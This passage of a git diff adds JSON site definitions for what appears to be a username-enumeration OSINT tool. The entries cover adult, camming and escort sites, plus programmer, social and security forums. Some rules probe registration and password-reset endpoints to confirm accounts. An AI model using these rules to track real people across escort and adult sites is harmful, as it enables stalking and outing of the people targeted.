photo" + }, + "Tube8 (channels)": { + "url": "https://www.tube8.com/channel/{username}/", + "check_text": [ + "Channel for Free Porn | Tube8.com" + ], + "not_found_text": [ + "Porn Channels" + ], + "category": "adult video and photo" + }, + "Raw White Meat": { + "url": "https://rawwhitemeat.com/video_tag/{username}/", + "check_text": [ + "post-title", + ">Height:", + ">Age:" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "My POV Fam": { + "url": "https://mypovfam.com/video_tag/{username}/", + "check_text": [ + "post-title" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Pevert POV": { + "url": "https://pervertpov.com/video_tag/{username}/", + "check_text": [ + "post-title" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Sluts Around Town": { + "url": "https://slutsaroundtown.com/video_tag/{username}/", + "check_text": [ + "post-title", + ">Age:", + ">Height:" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Passions Only": { + "url": "https://passionsonly.com/video_tag/{username}/", + "check_text": [ + "post-title" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "MiLFUCKD": { + "url": "https://milfuckd.com/performers/{username}/", + "check_text": [ + "JOIN NOW TO SEE MORE</span>", + ">Videos Featuring" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "Clip Page": { + "url": "https://clip.page/{username}", + "check_text": [ + "Customs</button>", + "></i> Custom" + ], + "not_found_text": [ + "Not Found" + ], + "category": "adult video and photo" + }, + "Faphouse": { + "url": "https://faphouse.com/models/{username}", + "check_text": [ + "Porn Videos | Faphouse", + "Followers" + ], + "not_found_text": [ + "Error", + "Not found" + ], + "category": "adult video and photo" + }, + "TNAFlix": { + "url": "https://www.tnaflix.com/profile/{username}", + "check_text": [ + "Pornstar - TNAFLIX.COM" + ], + "not_found_text": [ + "404 - Not Found" + ], + "category": "adult video and photo" + }, + "Virtual Taboo": { + "url": "https://virtualtaboo.com/pornstars/{username}", + "check_text": [ + "Birthday:", + "VR Porn Star Videos: New Sex Scenes | VirtualTaboo" + ], + "not_found_text": [ + "

    404: Page not found

    " + ], + "category": "adult video and photo" + }, + "Tik.Porn": { + "url": "https://tik.porn/{username}", + "check_text": [ + "
    Views
    ", + "
    Followers
    " + ], + "not_found_text": [ + ">Page Not Found | Tik.Porn" + ], + "category": "adult video and photo" + }, + "PornHat (Models)": { + "url": "https://www.pornhat.com/models/{username}/", + "check_text": [ + "free HD porn videos - PornHat" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "PornHat (Channels)": { + "url": "https://www.pornhat.com/sites/{username}/", + "check_text": [ + "free HD porn videos - PornHat" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "adult video and photo" + }, + "PornMD": { + "url": "https://www.pornmd.com/pornstar/{username}", + "check_text": [ + "Videos and Porn Movies :: PornMD" + ], + "not_found_text": [ + "Oops! We could not find the requested page." + ], + "category": "adult video and photo" + }, + "Yuvutu (search)": { + "url": "http://www.yuvutu.com/modules.php?name=Video&op=search&keywords={username}", + "check_text": [ + ">1" + ], + "not_found_text": [ + "0 result(s)" + ], + "category": "adult video and photo" + }, + "Yuvutu (profile)": { + "url": "http://www.yuvutu.com/{username}", + "check_text": [ + "personal info", + ">Height:
    " + ], + "not_found_text": [ + ">Members" + ], + "category": "adult video and photo" + }, + "Adultism": { + "url": "https://www.adultism.com/profile/{username}", + "check_text": [ + ">Location:", + ">Member since:" + ], + "not_found_text": [ + "No such member :(", + " Not Found - Adultism" + ], + "category": "adult video and photo" + }, + "Cams Reviews": { + "url": "https://www.cams.reviews/?search={username}", + "check_text": [ + "webcam models that match your search." + ], + "not_found_text": [ + ">No Webcam Models Found.", + "is not in our database." + ], + "category": "camming" + }, + "Kink Live": { + "url": "https://www.kinklive.com/models/bios/{username}/about.php", + "check_text": [ + "Reviews ", + "
    Last Online:
    " + ], + "not_found_text": [ + "The performer's bio you requested is not available.", + "Alert!" + ], + "category": "camming" + }, + "Chaturbate": { + "url": "https://chaturbate.com/{username}/", + "check_text": [ + "live on Chaturbate!", + ">Bio", + "Last Broadcast:", + "Room is currently offline", + "I am:" + ], + "not_found_text": [ + "

    HTTP 404 - Page Not Found", + "Pornstar Free Cams" + ], + "category": "camming" + }, + "Webcam-Archiver": { + "url": "https://webcam-archiver.com/search/?query={username}", + "check_text": [ + "Download", + ">Big Preview" + ], + "not_found_text": [ + "

    0 Result's" + ], + "category": "camming" + }, + "Masturbate and Chill": { + "url": "https://www.live.masturbateandchill.com/en/chat/{username}#!", + "check_text": [ + "Free Live Sex Chat With" + ], + "not_found_text": [ + "<title>www.live.masturbateandchill.com" + ], + "category": "camming" + }, + "Jerkmate (pornstars)": { + "url": "https://jerkmate.com/pornstar/{username}", + "check_text": [ + "jerkmate.com/pornstar" + ], + "not_found_text": [ + "page not found - 404" + ], + "category": "camming" + }, + "Jerkmate (cams)": { + "url": "https://jerkmate.com/cam/{username}", + "check_text": [ + "cam profile:" + ], + "not_found_text": [ + "page not found - 404", + "Sex Chat with Adult Cam Models | Jerkmate", + "We're sorry, the page you're looking for was not found.

    ", + ">Live Cam Girls" + ], + "category": "camming" + }, + "Camlust": { + "url": "https://camlust.com/en/models/{username}", + "check_text": [ + "in Free Chat Roulette", + "Live Skype sex show with" + ], + "not_found_text": [ + "page not found", + "

    Top models

    " + ], + "category": "camming" + }, + "Xpanded": { + "url": "https://xpanded.com/girls?search_profilename={username}", + "check_text": [ + ">Xpanded TV", + " page to see call options

    " + ], + "not_found_text": [ + "but we were unable to find" + ], + "category": "camming" + }, + "MyFreeCams": { + "url": "https://profiles.myfreecams.com/{username}", + "check_text": [ + "profile_avatar", + "status_label" + ], + "not_found_text": [ + "Search by Username" + ], + "category": "camming" + }, + "Babestation Cams (performer)": { + "url": "https://babestationcams.com/performer/{username}", + "check_text": [ + "Babestation Cams" + ], + "not_found_text": [ + "Not Found" + ], + "category": "camming" + }, + "ChatMate": { + "url": "https://chatmate.com/chat-video/{username}", + "check_text": [ + "Chat & Interact with" + ], + "not_found_text": [ + "<title>Page Not Found - 404" + ], + "category": "camming" + }, + "CamSoda": { + "url": "https://camsoda.com/{username}", + "check_text": [ + "bio" + ], + "not_found_text": [ + "Error, page not found" + ], + "category": "camming" + }, + "CamWithHer (users)": { + "url": "https://camwithher.com/{username}", + "check_text": [ + "Free Live Nude Sex Show", + "bio" + ], + "not_found_text": [ + "page not found" + ], + "category": "camming" + }, + "Xcams": { + "url": "https://www.xcams.com/profile/{username}/", + "check_text": [ + "years old" + ], + "not_found_text": [ + "not found" + ], + "category": "camming" + }, + "Xlovecam": { + "url": "https://www.xlovecam.com/en/model/{username}/", + "check_text": [ + "years old", + "about me" + ], + "not_found_text": [ + "error 404" + ], + "category": "camming" + }, + "Soul Cams": { + "url": "https://www.soulcams.com/profile/{username}", + "check_text": [ + "Live cam | Soulcams.com", + "About me
    ", + "Follow me" + ], + "not_found_text": [ + "SoulCams" + ], + "category": "camming" + }, + "XV Cams": { + "url": "https://www.xvcams.com/models/bios/{username}/about.php", + "check_text": [ + "Webcam Bio - Naked Pics, Adult Videos, Sex Chat" + ], + "not_found_text": [ + "The performer's bio you requested is not available." + ], + "category": "camming" + }, + "CamSextacy": { + "url": "https://www.camsextacy.com/{username}", + "check_text": [ + "Cam: Free Live Nude Sex Show & Chat - CamSextacy" + ], + "not_found_text": [ + ">Error, page not found" + ], + "category": "camming" + }, + "Mynt Models (NY, DAL, LA)": { + "url": "https://www.myntmodels.com/escort-model/{username}/", + "check_text": [ + "Measurements:", + "

    Age:" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "escort" + }, + "TS-Dating (International)": { + "url": "https://www.ts-dating.com/model/{username}", + "check_text": [ + ">Location:<span", + ">Name: <span", + ">Age: <span" + ], + "not_found_text": [ + "404 - PAGE NOT FOUND" + ], + "category": "escort" + }, + "Mccoys Guide (US)": { + "url": "https://www.mccoysguide.com/services/escorts/united-states-of-america?search={username}&order=updated", + "check_text": [ + "/assets/advertiser_accounts/", + "<h6>Escorts</h6>" + ], + "not_found_text": [ + "No search results found" + ], + "category": "escort" + }, + "Naughty Ads (International)": { + "url": "https://www.naughtyads.com.au/escort/{username}", + "check_text": [ + "call-button", + "sms-button", + "Quick Facts</label>" + ], + "not_found_text": [ + "Oops, something went wrong...</h3>" + ], + "category": "escort" + }, + "Cowboys4Angels": { + "url": "https://cowboys4angels.com/cowboys/{username}/", + "check_text": [ + "<h1>About", + "View His Rates</div>" + ], + "not_found_text": [ + "Page not found" + ], + "category": "escort" + }, + "Models-World": { + "url": "https://models-world.com/profile/{username}/", + "check_text": [ + "- Located in" + ], + "not_found_text": [ + "<title>MODELS WORLD" + ], + "category": "escort" + }, + "Eros Escorts": { + "url": "https://erosescorts.net/{username}/", + "check_text": [ + "Escort Profile -" + ], + "not_found_text": [ + "<title>Escorts directory" + ], + "category": "escort" + }, + "Grazia (International)": { + "url": "https://grazia-escort.com/en/models/{username}/", + "check_text": [ + "book now" + ], + "not_found_text": [ + "<title>Grazia" + ], + "category": "escort" + }, + "Perla Di Mare (International)": { + "url": "https://www.perla-di-mare.eu/escort/{username}/", + "check_text": [ + "located in" + ], + "not_found_text": [ + "nothing found" + ], + "category": "escort" + }, + "Ava Escorts (International)": { + "url": "https://avaescorts.com/search-results?escort_name={username}&agency_id=&escort_type=&root_category=&city_county=Enter+City&age=&hair_color=&languages=&price=&type=&x=0&y=0", + "check_text": [ + "/>Outcall Only<br", + "/>Incall/Outcall<br", + "/>Incall Only<br" + ], + "not_found_text": [ + "escorts found (0)" + ], + "category": "escort" + }, + "Private Delights": { + "url": "https://privatedelights.ch/profile/{username}", + "check_text": [ + "<title>Reviews for", + "Verified Provider", + "Unverified Provider", + "Joined:", + ">work</i>" + ], + "not_found_text": [ + "search-section", + "0 providers found.", + "No page" + ], + "category": "escort" + }, + "The Erotic Review": { + "url": "https://www.theeroticreview.com/reviews/newreviewsList.asp?Name={username}", + "check_text": [ + "matches.</span>", + ">Name</div>" + ], + "not_found_text": [ + "<p>No records were found.</p>" + ], + "category": "escort" + }, + "Rent.Men": { + "url": "https://rent.men/{username}", + "check_text": [ + "Current location" + ], + "not_found_text": [ + "404", + "Ooops...", + "The requested page can not be found." + ], + "category": "escort" + }, + "HOT": { + "url": "https://hot.com/us/escorts?q={username}", + "check_text": [ + ">model "" + ], + "not_found_text": [ + "Your request does not match any item.", + "Try changing your request", + "</span> does not match" + ], + "category": "escort" + }, + "Eros.com": { + "url": "https://eros.com/search/text?sch={username}&loc=", + "check_text": [ + "United States" + ], + "not_found_text": [ + "No results" + ], + "category": "escort" + }, + "tryst.link": { + "url": "https://tryst.link/escort/{username}", + "check_text": [ + "#photos" + ], + "not_found_text": [ + "<h1>Page not found</h1>", + "The page you were looking for couldn't be found." + ], + "category": "escort" + }, + "5escorts": { + "url": "https://www.5escorts.com/search/?keyword={username}&category=ads", + "check_text": [ + "/ads/details/" + ], + "not_found_text": [ + "Could not find what you were looking for?" + ], + "category": "escort" + }, + "Sweet Passion Escort": { + "url": "https://www.sweet-passion-escort.de/en/models/{username}", + "check_text": [ + "book", + "Sedcard" + ], + "not_found_text": [ + "Could not find what you were looking for?", + "<title>Escort Damen" + ], + "category": "escort" + }, + "Open Adult Directory BDSM Search": { + "url": "https://openadultdirectory.com/oad_search.php?kw={username}&dir=bdsm", + "check_text": [ + "results" + ], + "not_found_text": [ + "Your search returned no matches.", + "Page Not Found" + ], + "category": "escort" + }, + "Open Adult Directory Escorts Search": { + "url": "https://openadultdirectory.com/oad_search.php?kw={username}&dir=escorts", + "check_text": [ + "results" + ], + "not_found_text": [ + "Your search returned no matches.", + "Page Not Found" + ], + "category": "escort" + }, + "International Fetish Escort (Frankfurt, Germany)": { + "url": "https://www.international-fetish-escort.com/en/escort-models/{username}/", + "check_text": [ + "about me" + ], + "not_found_text": [ + "404", + "oops" + ], + "category": "escort" + }, + "Exotic RW (Rwanda, Africa)": { + "url": "https://www.exoticrw.com/escort/{username}/", + "check_text": [ + " | Best Rwanda Escorts" + ], + "not_found_text": [ + "<title>Best Rwanda Escorts" + ], + "category": "escort" + }, + "Exotic Mali (Mali, Africa)": { + "url": "https://www.exoticmali.com/escort/{username}/", + "check_text": [ + " - Escorte Mali" + ], + "not_found_text": [ + "<title>Escorte Mali" + ], + "category": "escort" + }, + "Exotic Malawi (Malawi, Africa)": { + "url": "https://www.exoticmalawi.com/escort/{username}/", + "check_text": [ + " - Escorts in Malawi" + ], + "not_found_text": [ + "<title>Escorts in Malawi" + ], + "category": "escort" + }, + "Exotic Ethiopia (Ethiopia, Africa)": { + "url": "https://www.exoticethiopia.com/escort/{username}/", + "check_text": [ + ", Ethiopian Escort for Massage" + ], + "not_found_text": [ + "<title>Ethiopian Escorts" + ], + "category": "escort" + }, + "Exotic Botswana (Botswana, Africa)": { + "url": "https://www.exoticbotswana.com/escort/{username}/", + "check_text": [ + ", Botswana Escort for Massage" + ], + "not_found_text": [ + "<title>Botswana Escorts" + ], + "category": "escort" + }, + "Blue Label Escort (Frankfurt, Germany)": { + "url": "https://bluelabel-escort.com/en/models/{username}/", + "check_text": [ + "Hair colour:</span>", + "Category:</span>", + "Height:</span>" + ], + "not_found_text": [ + "faq" + ], + "category": "escort" + }, + "Felines Escort": { + "url": "https://www.felinesescort.com/en/escort-girl/{username}", + "check_text": [ + "photos", + "about" + ], + "not_found_text": [ + "page not found" + ], + "category": "escort" + }, + "Aphrodite Agency (Europe)": { + "url": "https://www.aphrodite-agency.com/en/models/{username}", + "check_text": [ + "more about" + ], + "not_found_text": [ + "meet high class escorts" + ], + "category": "escort" + }, + "Society Service Escorts (Holland & Belgium)": { + "url": "https://www.societyservice.com/escort/{username}", + "check_text": [ + "profile" + ], + "not_found_text": [ + "find your perfect", + "we are sorry" + ], + "category": "escort" + }, + "Society Service Gigolos (Holland & Belgium)": { + "url": "https://www.societyservice.com/gigolo/{username}", + "check_text": [ + "profile" + ], + "not_found_text": [ + "find your perfect" + ], + "category": "escort" + }, + "SouthernGFE": { + "url": "https://www.southerngfe.com/escorts/search?searchword={username}", + "check_text": [ + "title='{username}", + "Results 1" + ], + "not_found_text": [ + "Your search does not return any result." + ], + "category": "escort" + }, + "1Baiser": { + "url": "https://en.1baiser.com/search?q={username}", + "check_text": [ + "Model </span></h2>" + ], + "not_found_text": [ + "No results were found" + ], + "category": "escort" + }, + "Figgmi (Switzerland)": { + "url": "https://figgmi.ch/de/escorts/{username}/", + "check_text": [ + "| escort in" + ], + "not_found_text": [ + "error 404" + ], + "category": "escort" + }, + "Telaviv-Escort (Telaviv)": { + "url": "https://telaviv-escort.com/model/{username}", + "check_text": [ + "<td>Ethnicity:</td>", + "<td>Age:</td>", + "<td>Availability:</td>" + ], + "not_found_text": [ + "404 not found" + ], + "category": "escort" + }, + "Austin Escort Models (Austin, TX)": { + "url": "https://austinescortmodels.com/model/{username}", + "check_text": [ + "<td>Ethnicity:</td>", + "<td>Age:</td>", + "<td>Availability:</td>" + ], + "not_found_text": [ + "404 not found" + ], + "category": "escort" + }, + "Dallas Escort State (Dallas, TX)": { + "url": "https://dallasescortstate.com/model/{username}", + "check_text": [ + "<td>Ethnicity:</td>", + "<td>Age:</td>", + "<td>Availability:</td>" + ], + "not_found_text": [ + "404 not found" + ], + "category": "escort" + }, + "What Happens In Vegas Stays (Las Vegas, NV)": { + "url": "https://www.whathappensinvegasstays.com/?s={username}", + "check_text": [ + "search-results" + ], + "not_found_text": [ + "Nothing Found</h1>" + ], + "category": "escort" + }, + "Party Girls LV (Las Vegas, NV)": { + "url": "https://partygirlslv.com/?s={username}&post_type=model", + "check_text": [ + ">Search Results for:" + ], + "not_found_text": [ + "Nothing Found</h1>" + ], + "category": "escort" + }, + "Vegas Girls Gone Wild (Las Vegas, NV)": { + "url": "https://vegasgirlsgonewild.com/escort/{username}/", + "check_text": [ + "Vegas Girls Gone Wild" + ], + "not_found_text": [ + "Page not found" + ], + "category": "escort" + }, + "Florida Escort Models (Florida, US)": { + "url": "https://floridaescortmodels.com/model/{username}", + "check_text": [ + "Ethnicity:", + "Age:", + "Availability:" + ], + "not_found_text": [ + "404 not found" + ], + "category": "escort" + }, + "EscortHub (International)": { + "url": "https://escorthub.org/escort/{username}/", + "check_text": [ + "escort from", + "- EscortHub" + ], + "not_found_text": [ + "

    404

    ", + "

    page not found

    " + ], + "category": "escort" + }, + "Dior Escorts (London, UK)": { + "url": "https://www.diorescorts.com/gallery/{username}", + "check_text": [ + ">Age:", + ">Gender:", + ">Availability :" + ], + "not_found_text": [ + ">Sorry Page not found :( (404)" + ], + "category": "escort" + }, + "Cheshire Companions (UK)": { + "url": "https://www.cheshirecompanions.com/escorts/{username}", + "check_text": [ + "
    Age
    ", + "
    Height
    " + ], + "not_found_text": [ + "404 | Chesire Companions " + ], + "category": "escort" + }, + "Candy Shop Escorts (Manchester, ENG)": { + "url": "https://candyshopescorts.co.uk/escorts/{username}", + "check_text": [ + "
    Age
    ", + "
    Height
    " + ], + "not_found_text": [ + "The page you are looking for doesn't exist or has been moved." + ], + "category": "escort" + }, + "Scarlet Blue (International)": { + "url": "https://scarletblue.com.au/search/?search=true&escortname={username}", + "check_text": [ + "profile-quickstats--details", + ">Age:" + ], + "not_found_text": [ + "No Escorts found - Please select different options" + ], + "category": "escort" + }, + "Naughty Ads (Australia)": { + "url": "https://www.naughtyads.com.au/escorts/australia?search={username}", + "check_text": [ + "escort-profile-image", + "escort-price" + ], + "not_found_text": [ + "No listings found for this search" + ], + "category": "escort" + }, + "New Zealand Girls (New Zealand)": { + "url": "https://www.newzealandgirls.co.nz/all/nzgirls.php?keyword={username}&go_keyword=Go%21", + "check_text": [ + "Stunning Escorts in New Zealand" + ], + "not_found_text": [ + "Your search returned no results, please try another search." + ], + "category": "escort" + }, + "Adult Look (International)": { + "url": "https://www.adultlook.com/search/?query={username}&rq={username}&advanced=1", + "check_text": [ + "results found" + ], + "not_found_text": [ + "No results found to show" + ], + "category": "escort" + }, + "KittyAds (International)": { + "url": "https://www.kittyads.com/{username}", + "check_text": [ + "Escort Profile:", + "Contact Info" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "escort" + }, + "Exotic-Africa (Africa)": { + "url": "https://www.exotic-africa.com/escort/{username}/", + "check_text": [ + "<h4>Contact info:</h4>", + "<h4>Services:</h4>" + ], + "not_found_text": [ + ">VIP Escorts</h3>", + "<h3>page not found</h3>" + ], + "category": "escort" + } + } +} diff --git a/data/sites/detectdee.json b/data/sites/detectdee.json new file mode 100644 index 0000000..173f773 --- /dev/null +++ b/data/sites/detectdee.json @@ -0,0 +1,9793 @@ +{ + "github": { + "url": "https://github.com", + "nameCheck": "^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "header": { + "a": "x" + }, + "url": "https://github.com/%s", + "existUsername": "piaolin", + "nonExistUsername": "4554456464646546654", + "userPage": "https://github.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gitlab": { + "url": "https://gitlab.com/", + "nameCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://gitlab.com/%s", + "existUsername": "blue", + "nonExistUsername": "noonewouldeverusethis7", + "userPage": "https://gitlab.com/%s", + "type": "username" + }, + { + "nonExistRegex": "\\[\\]", + "existRegex": "web_url", + "url": "https://gitlab.com/api/v4/users?username=%s", + "existUsername": "blue", + "nonExistUsername": "noonewouldeverusethis7", + "userPage": "https://gitlab.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gitee": { + "url": "https://gitee.com", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://gitee.com/%s", + "existUsername": "log4j", + "nonExistUsername": "4554456464646546654", + "userPage": "https://gitee.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "googleplay": { + "url": "https://play.google.com", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "We're sorry, the requested URL was not found on this server.", + "existRegex": "Copyright The Closure Library Authors", + "url": "https://play.google.com/store/apps/developer?id=%s", + "existUsername": "Apple", + "nonExistUsername": "GitHubeeeeee", + "userPage": "https://play.google.com/store/apps/developer?id=%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "githubblog": { + "url": "https://github.io", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://%s.github.io", + "existUsername": "kongkongye", + "nonExistUsername": "kongkongyeeeee", + "userPage": "https://%s.github.io", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "v2ex": { + "url": "https://v2ex.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://v2ex.com/member/%s", + "existUsername": "kongkongye", + "nonExistUsername": "kongkongyeeeee", + "userPage": "https://v2ex.com/member/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "zhihu": { + "url": "https://www.zhihu.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "url": "https://www.zhihu.com/people/%s", + "existUsername": "bule", + "nonExistRegex": "404 - \\\\u77e5\\\\u4e4e", + "existRegex": "查看详细资料", + "nonExistUsername": "buleeeeeeeeeeeee", + "userPage": "https://www.zhihu.com/people/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "freebuf": { + "url": "https://www.freebuf.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.freebuf.com/author/%s", + "existUsername": "Alpha_h4ck", + "nonExistUsername": "Alpha_h4ckeeeeeee", + "userPage": "https://www.freebuf.com/author/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "bugbank": { + "url": "https://www.bugbank.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.bugbank.cn/api/user/%s", + "existUsername": "carry_pan", + "nonExistUsername": "carry_panxzxxxxx", + "userPage": "https://www.bugbank.cn/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "hackerone": { + "url": "https://hackerone.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://hackerone.com/%s?type=user", + "existUsername": "ooooooo_q", + "nonExistUsername": "ooooooo_qaaaaaaa", + "userPage": "https://hackerone.com/%s?type=user", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "vulbox": { + "url": "https://www.vulbox.com/", + "type": "CyberSecurity", + "isNSFW": false, + "sleep": 3, + "detect": [ + { + "existRegex": "true", + "url": "https://vapi.vulbox.com/openapi/account/exist", + "body": { + "field": "username", + "value": "%s", + "mobile_code": null + }, + "header": { + "Content-Type": "application/json;charset=UTF-8", + "Origin": "https://www.vulbox.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "existUsername": "ooooooo_q", + "nonExistUsername": "ooooooo_qaaaaaaa", + "userPage": "https://www.vulbox.com/whitehats/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "bugku": { + "url": "https://www.bugku.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "\\\\u62b1\\\\u6b49\\\\uff0c\\\\u60a8\\\\u6307\\\\u5b9a\\\\u7684\\\\u7528\\\\u6237\\\\u7a7a\\\\u95f4\\\\u4e0d\\\\u5b58\\\\u5728", + "existRegex": "的个人资料", + "url": "https://www.bugku.com/space-username-%s.html", + "existUsername": "Jimmy", + "nonExistUsername": "ooooooo_qaaaaaaa", + "userPage": "https://www.bugku.com/space-username-%s.html", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "newbugku": { + "url": "https://new.bugku.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://new.bugku.com/users/profile/%s", + "existUsername": "gabriel", + "nonExistUsername": "ooooooo_qaaaaaaa", + "userPage": "https://new.bugku.com/users/profile/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "52pojie": { + "url": "https://www.52pojie.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "sleep": 1, + "detect": [ + { + "nonExistRegex": "succeed", + "existRegex": "showWindow", + "url": "https://www.52pojie.cn/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=%s", + "existUsername": "youga777", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://www.52pojie.cn/home.php?mod=space&username=%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "youtube": { + "url": "https://www.youtube.com/", + "type": "Video", + "isNSFW": false, + "sleep": 1, + "detect": [ + { + "nonExistRegex": "404 Not Found", + "url": "https://www.youtube.com/user/%s", + "headers": { + "Cookie": "CONSENT=YES+cb.20210418-17-p0.it+FX+917; " + }, + "existUsername": "pewdiepie", + "nonExistUsername": "youga777888", + "userPage": "https://www.youtube.com/user/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wikipedia": { + "url": "https://www.wikipedia.org/", + "type": "Blog", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://en.wikipedia.org/wiki/User:%s", + "existUsername": "Jack", + "nonExistUsername": "youga777888", + "userPage": "https://en.wikipedia.org/wiki/User:%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wordpress": { + "url": "https://wordpress.com/", + "type": "Blog", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "wordpress.com</em> doesn't exist", + "url": "https://%s.wordpress.com/", + "existUsername": "Hoadlck", + "nonExistUsername": "youga777888", + "userPage": "https://%s.wordpress.com/", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "reddit": { + "url": "https://www.reddit.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "Sorry, nobody on Reddit goes by that name.", + "url": "https://www.reddit.com/user/%s", + "existUsername": "blue", + "headers": { + "accept-language": "en-US,en;q=0.9" + }, + "nonExistUsername": "youga777888", + "userPage": "https://www.reddit.com/user/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "aqniu": { + "url": "https://www.aqniu.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "没有使用此用户名或电子邮件地址的账户。", + "existRegex": "未能发送电子邮件。您的主机可能未获正确配置。", + "url": "https://www.aqniu.com/wp-login.php?action=lostpassword", + "existUsername": "liuchaoyang", + "nonExistUsername": "youga777888", + "header": { + "Content-Type": "application/x-www-form-urlencoded" + }, + "body": "user_login=%s&redirect_to=&wp-submit=%%E8%%8E%%B7%%E5%%8F%%96%%E6%%96%%B0%%E5%%AF%%86%%E7%%A0%%81", + "userPage": "https://www.aqniu.com/author/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "quora": { + "url": "https://www.quora.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "existRegex": "Answers\": false, \"Questions\": false, \"Posts\":", + "url": "https://www.quora.com/profile/%s", + "existUsername": "Laura-Mitchell-5", + "nonExistUsername": "youga777888", + "userPage": "https://www.quora.com/profile/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "virustotal": { + "url": "https://www.virustotal.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.virustotal.com/ui/users/%s/avatar", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://www.virustotal.com/gui/user/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "ES" + } + }, + "twitter": { + "url": "https://twitter.com/", + "type": "Social", + "isNSFW": false, + "nameCheck": "^[a-zA-Z0-9_]{1,15}$", + "sleep": 3, + "detect": [ + { + "nonExistRegex": "<div class=\"error-panel\"><span>User ", + "url": "https://nitter.net/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://twitter.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": 